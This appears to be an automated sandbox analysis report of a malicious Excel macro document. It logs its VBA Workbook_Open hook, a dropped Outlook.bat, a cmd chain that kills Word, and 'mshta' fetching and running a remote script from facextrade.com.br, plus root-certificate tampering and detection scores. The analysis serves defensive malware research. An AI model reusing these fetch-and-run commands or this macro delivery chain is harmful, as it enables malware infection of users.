Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/flags/16/pt-br.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/custom-script.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.22:49180 version: TLS 1.2

Source: C:\Windows\System32\mshta.exe

Windows user hook set: 0 mouse low level C:\Windows\system32\dinput8.dll

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Document contains an embedded VBA macro with suspicious strings

Source: SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	OLE, VBA macro line: sFile = Environ("Public") & "\Outlook.bat"
Source: VBA code instrumentation	OLE, VBA macro: Module EstaPastaDeTrabalho, Function Workbook_Open, String environ: sFile = Environ("Public") & "\Outlook.bat"			Name: Workbook_Open

Source: C:\Windows\System32\mshta.exe	Code function: 8_2_031AD195	8_2_031AD195
Source: C:\Windows\System32\mshta.exe	Code function: 8_2_031AC0B9	8_2_031AC0B9
Source: C:\Windows\System32\mshta.exe	Code function: 8_2_0A185ADC	8_2_0A185ADC
Source: C:\Windows\System32\mshta.exe	Code function: 8_2_0A1852D6	8_2_0A1852D6
Source: C:\Windows\System32\mshta.exe	Code function: 8_2_031AD170	8_2_031AD170
Source: C:\Windows\System32\mshta.exe	Code function: 8_2_031A789A	8_2_031A789A
Source: C:\Windows\System32\mshta.exe	Code function: 8_2_031A4FB1	8_2_031A4FB1

Source: SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	OLE, VBA macro line: Private Sub Workbook_Open()
Source: VBA code instrumentation	OLE, VBA macro: Module EstaPastaDeTrabalho, Function Workbook_Open			Name: Workbook_Open

Source: SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls

OLE indicator, VBA macros: true

Source: SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Virustotal: Detection: 49%
Source: SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	Metadefender: Detection: 27%
Source: SecuriteInfo.com.Exploit.Siggen3.17149.8245.xls	ReversingLabs: Detection: 41%

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Console Write: ................X................................z=.......................0.......................=...............&.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X...............C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.D.o.c.u.m.e.n.t.s.>.0........J.... ..J..............&.....2..................J....	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X...............c.a.l.l........./.........................&......$.J............/.................&.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X............... .g.e.t.C.m.d.P.i.d...b.a.t. ...........l.0.....c.a.l.l...........=...............&.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X...............................i.d...b.................l.0.....c.a.l.l...........=...............&.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ...................J....................................@c.J..... ......`.&.............$1.v..............&.....................................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X................................z=.......................0.......................=...............&.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X...............C.:.\.U.s.e.r.s.\.A.l.b.u.s.\.D.o.c.u.m.e.n.t.s.>.0........J.... ..J..............&.....2..................J....	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X...............s.e.t.........../.........................&......$.J............/.................&.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X............... .P.I.D.=.1. ...........................l.0.....s.e.t.............=...............&.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X.......................................................l.0.....s.e.t.............=...............&.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X.................................A.......................0.......................=...............&.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X............... .w.i.n.d.o.w.M.o.d.e...b.a.t. .-.p.i.d. .1. .-.m.o.d.e. .h.i.d.d.e.n. ...........&.....H.......................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X...............................o.d.e...................l.0.....m.o.d.e...........=...............&.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ...................J....................................@c.J..... ......`.&.............$1.v..............&.....................................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X................................z=.......................0.......................=...............&.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X...............c.d............./.........................&......$.J............/.................&.............................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X............... .C.:.\.U.s.e.r.s.\.P.u.b.l.i.c. .......l.0.....c.d...............=...............&.....".......................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................X...............................s.\.P.u.................l.0.....c.d...............=...............&.............................	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Console Write: ................4...............................d1K.......................!.............d...............e.!.............X.......B.........5.....	Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE	Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "WINWORD.EXE")

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\Public\Outlook.bat

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR61ED.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLS@11/85@5/4

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit

Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: C:\Windows\System32\mshta.exe	Code function: 8_2_031A8002 pushad ; retf 000Ah	8_2_031A8003
Source: C:\Windows\System32\mshta.exe	Code function: 8_2_0A180002 push eax; retf 000Ah	8_2_0A180003
Source: C:\Windows\System32\mshta.exe	Code function: 8_2_0A187002 pushad ; retf 000Ah	8_2_0A187003
Source: C:\Windows\System32\mshta.exe	Code function: 8_2_0A1828C4 push 8B4802D2h; ret	8_2_0A1828D4

Source: C:\Windows\System32\mshta.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
